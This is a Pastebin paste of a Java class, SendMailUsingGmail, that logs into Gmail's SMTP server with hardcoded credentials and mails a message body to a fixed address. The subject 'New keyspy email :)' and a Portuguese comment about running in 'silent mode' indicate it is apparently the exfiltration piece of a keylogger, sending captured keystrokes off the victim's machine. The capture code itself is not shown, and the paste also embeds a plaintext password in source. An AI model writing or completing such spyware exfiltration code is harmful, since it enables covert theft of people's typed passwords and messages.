Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public class SendMailUsingGmail extends javax.swing.JFrame {
- /** Creates new form SendMailUsingGmail */
- public SendMailUsingGmail() {
- initComponents();
- this.setLocationRelativeTo(this);
- }
- private static final String SMTP_HOST_NAME =
- "smtp.gmail.com";
- private static final String SMTP_PORT = "465";
- private static String emailMsgTxt = "";
- private static final String emailSubjectTxt =
- "New keyspy email :)";
- private static final String emailFromAddress =
- "user1@gmail.com";
- private static final String SSL_FACTORY =
- "javax.net.ssl.SSLSocketFactory";
- private static final String[] sendTo =
- {"user1@gmail.com"};
- public void startAction() throws Exception {
- Security.addProvider(
- new com.sun.net.ssl.internal.ssl.Provider());
- new SendMailUsingGmail().sendSSLMessage(
- sendTo, emailSubjectTxt, emailMsgTxt, emailFromAddress);
- System.out.println(
- "Email enviado com sucesso para os destinatarios!");
- }
- public void sendSSLMessage(String recipients[], String subject,
- String message, String from) throws MessagingException {
- //com essa flag aqui ele imprimira todos os
- //dados da conexão e do envio,
- //setar isso para false se quiser que rode
- //no silent mode.
- boolean debug = false;
- Properties props = new Properties();
- props.put("mail.smtp.host", SMTP_HOST_NAME);
- props.put("mail.smtp.auth", "true");
- props.put("mail.debug", "true");
- props.put("mail.smtp.port", SMTP_PORT);
- props.put("mail.smtp.socketFactory.port", SMTP_PORT);
- props.put("mail.smtp.socketFactory.class", SSL_FACTORY);
- props.put("mail.smtp.socketFactory.fallback", "false");
- Session session = Session.getDefaultInstance(props,
- new javax.mail.Authenticator() {
- //Aqui o authenticator, poderia ser uma classe separada também:
- protected PasswordAuthentication getPasswordAuthentication() {
- return new PasswordAuthentication
- ("user1@gmail.com", "senha123");
- }
- });
- session.setDebug(debug);
- Message msg = new MimeMessage(session);
- InternetAddress addressFrom = new InternetAddress(from);
- msg.setFrom(addressFrom);
- InternetAddress[] addressTo =
- new InternetAddress[recipients.length];
- for (int i = 0; i < recipients.length; i++) {
- addressTo[i] = new InternetAddress(recipients[i]);
- }
- msg.setRecipients(Message.RecipientType.TO, addressTo);
- // Setting the Subject and Content Type
- msg.setSubject(subject);
- msg.setContent(message, "text/plain");
- Transport.send(msg);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement